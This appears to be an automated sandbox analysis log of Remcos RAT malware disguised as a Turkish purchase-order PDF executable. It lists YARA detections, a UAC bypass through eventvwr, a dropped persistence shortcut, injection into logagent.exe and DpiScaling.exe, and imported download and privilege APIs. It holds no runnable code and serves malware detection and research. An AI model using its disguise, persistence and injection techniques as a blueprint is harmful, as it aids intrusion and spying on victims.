Source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: C:\Users\Public\Libraries\wflizeiulE.url, type: DROPPED	Matched rule: Methodology_Shortcut_HotKey author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/cglyer/status/1176184798248919044, score = 27.09.2019
Source: C:\Users\Public\Libraries\wflizeiulE.url, type: DROPPED	Matched rule: Methodology_Contains_Shortcut_OtherURIhandlers author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/cglyer/status/1176184798248919044, score = 27.09.2019

Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040D2A6 ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,SetEvent,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?substr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV12@II@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,GetTickCount,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,atoi,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,Sleep,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,URLDownloadToFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,OpenClipboard,Sleep,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,atoi,?c_str@?$basic_string@GU?$char_trait
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_1054F910 atoi,atoi,atoi,ExitWindowsEx,LoadLibraryA,GetProcAddress,

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E9B05
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E1A14
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E19E8
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_038D3D3F
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040D2A6
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10541006

Source: C:\Windows\SysWOW64\logagent.exe	Code function: String function: 00413E72 appears 49 times
Source: C:\Windows\SysWOW64\logagent.exe	Code function: String function: 0041203B appears 31 times
Source: C:\Windows\SysWOW64\logagent.exe	Code function: String function: 10555801 appears 49 times

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_105555CE NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310969892.00000000022EA000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Eluiezilfw.exe.0.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Eluiezilfw.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: am.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: system.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: ??.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: archiveint.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: endpointdlp.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: ????.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: ??l.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: ??.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: ?????????.dll
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: system.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ??.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: archiveint.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: mpclient.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ????.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ??.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ??????.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: system.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ??.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: archiveint.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: mpclient.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ????.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ??.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: ??????.dll
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Section loaded: endpointdlp.dll

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

File read: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Jump to behavior

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe "C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe"
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process created: C:\Windows\SysWOW64\logagent.exe C:\Windows\System32\logagent.exe
Source: unknown	Process created: C:\Users\Public\Libraries\Eluiezilfw.exe "C:\Users\Public\Libraries\Eluiezilfw.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Eluiezilfw.exe "C:\Users\Public\Libraries\Eluiezilfw.exe"
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process created: C:\Windows\SysWOW64\logagent.exe C:\Windows\System32\logagent.exe
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process created: C:\Windows\SysWOW64\DpiScaling.exe C:\Windows\System32\DpiScaling.exe
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process created: C:\Windows\SysWOW64\logagent.exe C:\Windows\System32\logagent.exe
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process created: C:\Windows\SysWOW64\logagent.exe C:\Windows\System32\logagent.exe
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process created: C:\Windows\SysWOW64\DpiScaling.exe C:\Windows\System32\DpiScaling.exe

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040EC0F GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_1055059E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Eluiezilfwmdrgrdfrqpnwmurrnwnhm[1]

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@9/5@19/5

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00411927 OpenSCManagerW,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,OpenServiceW,CloseServiceHandle,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00409A2F GetModuleFileNameW,??8std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??8std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,CloseHandle,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV?$allocator@G@1@@Z,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??8std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@0@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,Process32NextW,??4?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??8std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ